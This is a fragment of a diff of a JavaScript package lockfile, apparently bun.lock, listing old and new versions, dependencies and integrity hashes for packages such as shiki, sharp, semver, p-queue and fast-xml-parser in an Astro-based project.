"estree-util-attach-comments": ["estree-util-attach-comments@3.0.0", "", { "dependencies": { "@types/estree": "^1.0.0" } }, "sha512-cKUwm/HUcTDsYh/9FgnuFqpfquUbwIqwKM26BVCGDPVgvaCl/nDCCjUfiLlx6lsEZ3Z4RFxNbOQ60pkaEwFxGw=="], "estree-util-attach-comments": ["estree-util-attach-comments@3.0.0", "", { "dependencies": { "@types/estree": "^1.0.0" } }, "sha512-cKUwm/HUcTDsYh/9FgnuFqpfquUbwIqwKM26BVCGDPVgvaCl/nDCCjUfiLlx6lsEZ3Z4RFxNbOQ60pkaEwFxGw=="],
"estree-util-build-jsx": ["estree-util-build-jsx@3.0.1", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "devlop": "^1.0.0", "estree-util-is-identifier-name": "^3.0.0", "estree-walker": "^3.0.0" } }, "sha512-8U5eiL6BTrPxp/CHbs2yMgP8ftMhR5ww1eIKoWRMlqvltHF8fZn5LRDvTKuxD3DUn+shRbLGqXemcP51oFCsGQ=="], "estree-util-build-jsx": ["estree-util-build-jsx@3.0.1", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "devlop": "^1.0.0", "estree-util-is-identifier-name": "^3.0.0", "estree-walker": "^3.0.0" } }, "sha512-8U5eiL6BTrPxp/CHbs2yMgP8ftMhR5ww1eIKoWRMlqvltHF8fZn5LRDvTKuxD3DUn+shRbLGqXemcP51oFCsGQ=="],
@@ -488,8 +497,14 @@
"fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="], "fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="],
"fast-string-truncated-width": ["fast-string-truncated-width@1.2.1", "", {}, "sha512-Q9acT/+Uu3GwGj+5w/zsGuQjh9O1TyywhIwAxHudtWrgF09nHOPrvTLhQevPbttcxjr/SNN7mJmfOw/B1bXgow=="],
"fast-string-width": ["fast-string-width@1.1.0", "", { "dependencies": { "fast-string-truncated-width": "^1.2.0" } }, "sha512-O3fwIVIH5gKB38QNbdg+3760ZmGz0SZMgvwJbA1b2TGXceKE6A2cOlfogh1iw8lr049zPyd7YADHy+B7U4W9bQ=="],
"fast-uri": ["fast-uri@3.1.0", "", {}, "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA=="], "fast-uri": ["fast-uri@3.1.0", "", {}, "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA=="],
"fast-wrap-ansi": ["fast-wrap-ansi@0.1.6", "", { "dependencies": { "fast-string-width": "^1.1.0" } }, "sha512-HlUwET7a5gqjURj70D5jl7aC3Zmy4weA1SHUfM0JFI0Ptq987NH2TwbBFLoERhfwk+E+eaq4EK3jXoT+R3yp3w=="],
"fast-xml-builder": ["fast-xml-builder@1.1.4", "", { "dependencies": { "path-expression-matcher": "^1.1.3" } }, "sha512-f2jhpN4Eccy0/Uz9csxh3Nu6q4ErKxf0XIsasomfOihuSUa3/xw6w8dnOtCDgEItQFJG8KyXPzQXzcODDrrbOg=="], "fast-xml-builder": ["fast-xml-builder@1.1.4", "", { "dependencies": { "path-expression-matcher": "^1.1.3" } }, "sha512-f2jhpN4Eccy0/Uz9csxh3Nu6q4ErKxf0XIsasomfOihuSUa3/xw6w8dnOtCDgEItQFJG8KyXPzQXzcODDrrbOg=="],
"fast-xml-parser": ["fast-xml-parser@5.5.9", "", { "dependencies": { "fast-xml-builder": "^1.1.4", "path-expression-matcher": "^1.2.0", "strnum": "^2.2.2" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-jldvxr1MC6rtiZKgrFnDSvT8xuH+eJqxqOBThUVjYrxssYTo1avZLGql5l0a0BAERR01CadYzZ83kVEkbyDg+g=="], "fast-xml-parser": ["fast-xml-parser@5.5.9", "", { "dependencies": { "fast-xml-builder": "^1.1.4", "path-expression-matcher": "^1.2.0", "strnum": "^2.2.2" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-jldvxr1MC6rtiZKgrFnDSvT8xuH+eJqxqOBThUVjYrxssYTo1avZLGql5l0a0BAERR01CadYzZ83kVEkbyDg+g=="],
@@ -506,8 +521,6 @@
"get-caller-file": ["get-caller-file@2.0.5", "", {}, "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="], "get-caller-file": ["get-caller-file@2.0.5", "", {}, "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="],
"get-east-asian-width": ["get-east-asian-width@1.4.0", "", {}, "sha512-QZjmEOC+IT1uk6Rx0sX22V6uHWVwbdbxf1faPqJ1QhLdGgsRGCZoyaQBm/piRdJy/D2um6hM1UP7ZEeQ4EkP+Q=="],
"github-slugger": ["github-slugger@2.0.0", "", {}, "sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw=="], "github-slugger": ["github-slugger@2.0.0", "", {}, "sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw=="],
"graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="], "graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="],
@@ -546,8 +559,6 @@
"http-cache-semantics": ["http-cache-semantics@4.2.0", "", {}, "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ=="], "http-cache-semantics": ["http-cache-semantics@4.2.0", "", {}, "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ=="],
"import-meta-resolve": ["import-meta-resolve@4.2.0", "", {}, "sha512-Iqv2fzaTQN28s/FwZAoFq0ZSs/7hMAHJVX+w8PZl3cY19Pxk6jFFalxQoIfW2826i/fDLXv8IiEZRIT0lDuWcg=="],
"inline-style-parser": ["inline-style-parser@0.2.7", "", {}, "sha512-Nb2ctOyNR8DqQoR0OwRG95uNWIC0C1lCgf5Naz5H6Ji72KZ8OcFZLz2P5sNgwlyoJ8Yif11oMuYs5pBQa86csA=="], "inline-style-parser": ["inline-style-parser@0.2.7", "", {}, "sha512-Nb2ctOyNR8DqQoR0OwRG95uNWIC0C1lCgf5Naz5H6Ji72KZ8OcFZLz2P5sNgwlyoJ8Yif11oMuYs5pBQa86csA=="],
"iron-webcrypto": ["iron-webcrypto@1.2.1", "", {}, "sha512-feOM6FaSr6rEABp/eDfVseKyTMDt+KGpeB35SkVn9Tyn0CqvVsY3EwI0v5i8nMHyJnzCIQf7nsy3p41TPkJZhg=="], "iron-webcrypto": ["iron-webcrypto@1.2.1", "", {}, "sha512-feOM6FaSr6rEABp/eDfVseKyTMDt+KGpeB35SkVn9Tyn0CqvVsY3EwI0v5i8nMHyJnzCIQf7nsy3p41TPkJZhg=="],
@@ -558,7 +569,7 @@
"is-decimal": ["is-decimal@2.0.1", "", {}, "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A=="], "is-decimal": ["is-decimal@2.0.1", "", {}, "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A=="],
"is-docker": ["is-docker@3.0.0", "", { "bin": { "is-docker": "cli.js" } }, "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ=="], "is-docker": ["is-docker@4.0.0", "", { "bin": { "is-docker": "cli.js" } }, "sha512-LHE+wROyG/Y/0ZnbktRCoTix2c1RhgWaZraMZ8o1Q7zCh0VSrICJQO5oqIIISrcSBtrXv0o233w1IYwsWCjTzA=="],
"is-fullwidth-code-point": ["is-fullwidth-code-point@3.0.0", "", {}, "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="], "is-fullwidth-code-point": ["is-fullwidth-code-point@3.0.0", "", {}, "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="],
@@ -568,7 +579,9 @@
"is-plain-obj": ["is-plain-obj@4.1.0", "", {}, "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg=="], "is-plain-obj": ["is-plain-obj@4.1.0", "", {}, "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg=="],
"is-wsl": ["is-wsl@3.1.0", "", { "dependencies": { "is-inside-container": "^1.0.0" } }, "sha512-UcVfVfaK4Sc4m7X3dUSoHoozQGBEFeDC+zVo06t98xe8CzHSZZBekNXH+tu0NalHolcJ/QAGqS46Hef7QXBIMw=="], "is-reference": ["is-reference@3.0.3", "", { "dependencies": { "@types/estree": "^1.0.6" } }, "sha512-ixkJoqQvAP88E6wLydLGGqCJsrFUnqoH6HnaczB8XmDH1oaWU+xxdptvikTgaEhtZ53Ky6YXiBuUI2WXLMCwjw=="],
"is-wsl": ["is-wsl@3.1.1", "", { "dependencies": { "is-inside-container": "^1.0.0" } }, "sha512-e6rvdUCiQCAuumZslxRJWR/Doq4VpPR82kqclvcS0efgt430SlGIk05vdCN58+VrzgtIcfNODjozVielycD4Sw=="],
"jiti": ["jiti@2.6.1", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="], "jiti": ["jiti@2.6.1", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="],
@@ -604,15 +617,15 @@
"lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.32.0", "", { "os": "win32", "cpu": "x64" }, "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q=="], "lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.32.0", "", { "os": "win32", "cpu": "x64" }, "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q=="],
"locate-character": ["locate-character@3.0.0", "", {}, "sha512-SW13ws7BjaeJ6p7Q6CO2nchbYEc3X3J6WrmTTDto7yMPqVSZTUyY5Tjbid+Ab8gLnATtygYtiDIJGQRRn2ZOiA=="],
"longest-streak": ["longest-streak@3.1.0", "", {}, "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g=="], "longest-streak": ["longest-streak@3.1.0", "", {}, "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g=="],
"lru-cache": ["lru-cache@11.2.7", "", {}, "sha512-aY/R+aEsRelme17KGQa/1ZSIpLpNYYrhcrepKTZgE+W3WM16YMCaPwOHLHsmopZHELU0Ojin1lPVxKR0MihncA=="], "lru-cache": ["lru-cache@11.2.7", "", {}, "sha512-aY/R+aEsRelme17KGQa/1ZSIpLpNYYrhcrepKTZgE+W3WM16YMCaPwOHLHsmopZHELU0Ojin1lPVxKR0MihncA=="],
"lucide-astro": ["lucide-astro@0.556.0", "", { "peerDependencies": { "astro": ">=2.7.1" } }, "sha512-ugMjPb45AMfkLCaduNSbyy5NQEKvB1TxVVMmUS4S6L807PMESnX0Qp+DIKHjbyjJmPXOyLRbrzvR3YikTK7brg=="],
"magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="], "magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
"magicast": ["magicast@0.5.1", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "source-map-js": "^1.2.1" } }, "sha512-xrHS24IxaLrvuo613F719wvOIv9xPHFWQHuvGUBmPnCA/3MQxKI3b+r7n1jAoDHmsbC5bRhTZYR77invLAxVnw=="], "magicast": ["magicast@0.5.2", "", { "dependencies": { "@babel/parser": "^7.29.0", "@babel/types": "^7.29.0", "source-map-js": "^1.2.1" } }, "sha512-E3ZJh4J3S9KfwdjZhe2afj6R9lGIN5Pher1pF39UGrXRqq/VDaGVIGN13BjHd2u8B61hArAGOnso7nBOouW3TQ=="],
"markdown-extensions": ["markdown-extensions@2.0.0", "", {}, "sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q=="], "markdown-extensions": ["markdown-extensions@2.0.0", "", {}, "sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q=="],
@@ -746,6 +759,8 @@
"nth-check": ["nth-check@2.1.1", "", { "dependencies": { "boolbase": "^1.0.0" } }, "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w=="], "nth-check": ["nth-check@2.1.1", "", { "dependencies": { "boolbase": "^1.0.0" } }, "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w=="],
"obug": ["obug@2.1.1", "", {}, "sha512-uTqF9MuPraAQ+IsnPf366RG4cP9RtUi7MLO1N3KEc+wb0a6yKpeL0lmk2IB1jY5KHPAlTc6T/JRdC/YqxHNwkQ=="],
"ofetch": ["ofetch@1.5.1", "", { "dependencies": { "destr": "^2.0.5", "node-fetch-native": "^1.6.7", "ufo": "^1.6.1" } }, "sha512-2W4oUZlVaqAPAil6FUg/difl6YhqhUR7x2eZY4bQCko22UXg3hptq9KLQdqFClV+Wu85UX7hNtdGTngi/1BxcA=="], "ofetch": ["ofetch@1.5.1", "", { "dependencies": { "destr": "^2.0.5", "node-fetch-native": "^1.6.7", "ufo": "^1.6.1" } }, "sha512-2W4oUZlVaqAPAil6FUg/difl6YhqhUR7x2eZY4bQCko22UXg3hptq9KLQdqFClV+Wu85UX7hNtdGTngi/1BxcA=="],
"ohash": ["ohash@2.0.11", "", {}, "sha512-RdR9FQrFwNBNXAr4GixM8YaRZRJ5PUWbKYbE5eOsrwAjJW0q2REGcf79oYPsLyskQCZG1PLN+S/K1V00joZAoQ=="], "ohash": ["ohash@2.0.11", "", {}, "sha512-RdR9FQrFwNBNXAr4GixM8YaRZRJ5PUWbKYbE5eOsrwAjJW0q2REGcf79oYPsLyskQCZG1PLN+S/K1V00joZAoQ=="],
@@ -754,11 +769,11 @@
"oniguruma-to-es": ["oniguruma-to-es@4.3.4", "", { "dependencies": { "oniguruma-parser": "^0.12.1", "regex": "^6.0.1", "regex-recursion": "^6.0.2" } }, "sha512-3VhUGN3w2eYxnTzHn+ikMI+fp/96KoRSVK9/kMTcFqj1NRDh2IhQCKvYxDnWePKRXY/AqH+Fuiyb7VHSzBjHfA=="], "oniguruma-to-es": ["oniguruma-to-es@4.3.4", "", { "dependencies": { "oniguruma-parser": "^0.12.1", "regex": "^6.0.1", "regex-recursion": "^6.0.2" } }, "sha512-3VhUGN3w2eYxnTzHn+ikMI+fp/96KoRSVK9/kMTcFqj1NRDh2IhQCKvYxDnWePKRXY/AqH+Fuiyb7VHSzBjHfA=="],
"p-limit": ["p-limit@6.2.0", "", { "dependencies": { "yocto-queue": "^1.1.1" } }, "sha512-kuUqqHNUqoIWp/c467RI4X6mmyuojY5jGutNU0wVTmEOOfcuwLqyMVoAi9MKi2Ak+5i9+nhmrK4ufZE8069kHA=="], "p-limit": ["p-limit@7.3.0", "", { "dependencies": { "yocto-queue": "^1.2.1" } }, "sha512-7cIXg/Z0M5WZRblrsOla88S4wAK+zOQQWeBYfV3qJuJXMr+LnbYjaadrFaS0JILfEDPVqHyKnZ1Z/1d6J9VVUw=="],
"p-queue": ["p-queue@8.1.1", "", { "dependencies": { "eventemitter3": "^5.0.1", "p-timeout": "^6.1.2" } }, "sha512-aNZ+VfjobsWryoiPnEApGGmf5WmNsCo9xu8dfaYamG5qaLP7ClhLN6NgsFe6SwJ2UbLEBK5dv9x8Mn5+RVhMWQ=="], "p-queue": ["p-queue@9.1.2", "", { "dependencies": { "eventemitter3": "^5.0.1", "p-timeout": "^7.0.0" } }, "sha512-ktsDOALzTYTWWF1PbkNVg2rOt+HaOaMWJMUnt7T3qf5tvZ1L8dBW3tObzprBcXNMKkwj+yFSLqHso0x+UFcJXw=="],
"p-timeout": ["p-timeout@6.1.4", "", {}, "sha512-MyIV3ZA/PmyBN/ud8vV9XzwTrNtR4jFrObymZYnZqMmW0zA8Z17vnT0rBgFE/TlohB+YCHqXMgZzb3Csp49vqg=="], "p-timeout": ["p-timeout@7.0.1", "", {}, "sha512-AxTM2wDGORHGEkPCt8yqxOTMgpfbEHqF51f/5fJCmwFC3C/zNcGT63SymH2ttOAaiIws2zVg4+izQCjrakcwHg=="],
"package-manager-detector": ["package-manager-detector@1.6.0", "", {}, "sha512-61A5ThoTiDG/C8s8UMZwSorAGwMJ0ERVGj2OjoW5pAalsNOg15+iQiPzrLJ4jhZ1HJzmC2PIHT2oEiH3R5fzNA=="], "package-manager-detector": ["package-manager-detector@1.6.0", "", {}, "sha512-61A5ThoTiDG/C8s8UMZwSorAGwMJ0ERVGj2OjoW5pAalsNOg15+iQiPzrLJ4jhZ1HJzmC2PIHT2oEiH3R5fzNA=="],
@@ -776,7 +791,7 @@
"picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="], "picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="],
"picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="], "picomatch": ["picomatch@4.0.4", "", {}, "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A=="],
"postcss": ["postcss@8.5.6", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg=="], "postcss": ["postcss@8.5.6", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg=="],
@@ -784,8 +799,6 @@
"prismjs": ["prismjs@1.30.0", "", {}, "sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw=="], "prismjs": ["prismjs@1.30.0", "", {}, "sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw=="],
"prompts": ["prompts@2.4.2", "", { "dependencies": { "kleur": "^3.0.3", "sisteransi": "^1.0.5" } }, "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q=="],
"property-information": ["property-information@7.1.0", "", {}, "sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ=="], "property-information": ["property-information@7.1.0", "", {}, "sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ=="],
"radix3": ["radix3@1.1.2", "", {}, "sha512-b484I/7b8rDEdSDKckSSBA8knMpcdsXudlE/LNL639wFoHKwLbEkQFZHWEYwDC0wa0FKUcCY+GAF73Z7wxNVFA=="], "radix3": ["radix3@1.1.2", "", {}, "sha512-b484I/7b8rDEdSDKckSSBA8knMpcdsXudlE/LNL639wFoHKwLbEkQFZHWEYwDC0wa0FKUcCY+GAF73Z7wxNVFA=="],
@@ -846,11 +859,13 @@
"sax": ["sax@1.4.3", "", {}, "sha512-yqYn1JhPczigF94DMS+shiDMjDowYO6y9+wB/4WgO0Y19jWYk0lQ4tuG5KI7kj4FTp1wxPj5IFfcrz/s1c3jjQ=="], "sax": ["sax@1.4.3", "", {}, "sha512-yqYn1JhPczigF94DMS+shiDMjDowYO6y9+wB/4WgO0Y19jWYk0lQ4tuG5KI7kj4FTp1wxPj5IFfcrz/s1c3jjQ=="],
"semver": ["semver@7.7.3", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], "scule": ["scule@1.3.0", "", {}, "sha512-6FtHJEvt+pVMIB9IBY+IcCJ6Z5f1iQnytgyfKMhDKgmzYG+TeH/wx1y3l27rshSbLiSanrR9ffZDrEsmjlQF2g=="],
"semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="],
"sharp": ["sharp@0.34.5", "", { "dependencies": { "@img/colour": "^1.0.0", "detect-libc": "^2.1.2", "semver": "^7.7.3" }, "optionalDependencies": { "@img/sharp-darwin-arm64": "0.34.5", "@img/sharp-darwin-x64": "0.34.5", "@img/sharp-libvips-darwin-arm64": "1.2.4", "@img/sharp-libvips-darwin-x64": "1.2.4", "@img/sharp-libvips-linux-arm": "1.2.4", "@img/sharp-libvips-linux-arm64": "1.2.4", "@img/sharp-libvips-linux-ppc64": "1.2.4", "@img/sharp-libvips-linux-riscv64": "1.2.4", "@img/sharp-libvips-linux-s390x": "1.2.4", "@img/sharp-libvips-linux-x64": "1.2.4", "@img/sharp-libvips-linuxmusl-arm64": "1.2.4", "@img/sharp-libvips-linuxmusl-x64": "1.2.4", "@img/sharp-linux-arm": "0.34.5", "@img/sharp-linux-arm64": "0.34.5", "@img/sharp-linux-ppc64": "0.34.5", "@img/sharp-linux-riscv64": "0.34.5", "@img/sharp-linux-s390x": "0.34.5", "@img/sharp-linux-x64": "0.34.5", "@img/sharp-linuxmusl-arm64": "0.34.5", "@img/sharp-linuxmusl-x64": "0.34.5", "@img/sharp-wasm32": "0.34.5", "@img/sharp-win32-arm64": "0.34.5", "@img/sharp-win32-ia32": "0.34.5", "@img/sharp-win32-x64": "0.34.5" } }, "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg=="], "sharp": ["sharp@0.34.5", "", { "dependencies": { "@img/colour": "^1.0.0", "detect-libc": "^2.1.2", "semver": "^7.7.3" }, "optionalDependencies": { "@img/sharp-darwin-arm64": "0.34.5", "@img/sharp-darwin-x64": "0.34.5", "@img/sharp-libvips-darwin-arm64": "1.2.4", "@img/sharp-libvips-darwin-x64": "1.2.4", "@img/sharp-libvips-linux-arm": "1.2.4", "@img/sharp-libvips-linux-arm64": "1.2.4", "@img/sharp-libvips-linux-ppc64": "1.2.4", "@img/sharp-libvips-linux-riscv64": "1.2.4", "@img/sharp-libvips-linux-s390x": "1.2.4", "@img/sharp-libvips-linux-x64": "1.2.4", "@img/sharp-libvips-linuxmusl-arm64": "1.2.4", "@img/sharp-libvips-linuxmusl-x64": "1.2.4", "@img/sharp-linux-arm": "0.34.5", "@img/sharp-linux-arm64": "0.34.5", "@img/sharp-linux-ppc64": "0.34.5", "@img/sharp-linux-riscv64": "0.34.5", "@img/sharp-linux-s390x": "0.34.5", "@img/sharp-linux-x64": "0.34.5", "@img/sharp-linuxmusl-arm64": "0.34.5", "@img/sharp-linuxmusl-x64": "0.34.5", "@img/sharp-wasm32": "0.34.5", "@img/sharp-win32-arm64": "0.34.5", "@img/sharp-win32-ia32": "0.34.5", "@img/sharp-win32-x64": "0.34.5" } }, "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg=="],
"shiki": ["shiki@3.23.0", "", { "dependencies": { "@shikijs/core": "3.23.0", "@shikijs/engine-javascript": "3.23.0", "@shikijs/engine-oniguruma": "3.23.0", "@shikijs/langs": "3.23.0", "@shikijs/themes": "3.23.0", "@shikijs/types": "3.23.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-55Dj73uq9ZXL5zyeRPzHQsK7Nbyt6Y10k5s7OjuFZGMhpp4r/rsLBH0o/0fstIzX1Lep9VxefWljK/SKCzygIA=="], "shiki": ["shiki@4.0.2", "", { "dependencies": { "@shikijs/core": "4.0.2", "@shikijs/engine-javascript": "4.0.2", "@shikijs/engine-oniguruma": "4.0.2", "@shikijs/langs": "4.0.2", "@shikijs/themes": "4.0.2", "@shikijs/types": "4.0.2", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-eAVKTMedR5ckPo4xne/PjYQYrU3qx78gtJZ+sHlXEg5IHhhoQhMfZVzetTYuaJS0L2Ef3AcCRzCHV8T0WI6nIQ=="],
"sisteransi": ["sisteransi@1.0.5", "", {}, "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg=="], "sisteransi": ["sisteransi@1.0.5", "", {}, "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg=="],
@@ -878,7 +893,11 @@
"style-to-object": ["style-to-object@1.0.14", "", { "dependencies": { "inline-style-parser": "0.2.7" } }, "sha512-LIN7rULI0jBscWQYaSswptyderlarFkjQ+t79nzty8tcIAceVomEVlLzH5VP4Cmsv6MtKhs7qaAiwlcp+Mgaxw=="], "style-to-object": ["style-to-object@1.0.14", "", { "dependencies": { "inline-style-parser": "0.2.7" } }, "sha512-LIN7rULI0jBscWQYaSswptyderlarFkjQ+t79nzty8tcIAceVomEVlLzH5VP4Cmsv6MtKhs7qaAiwlcp+Mgaxw=="],
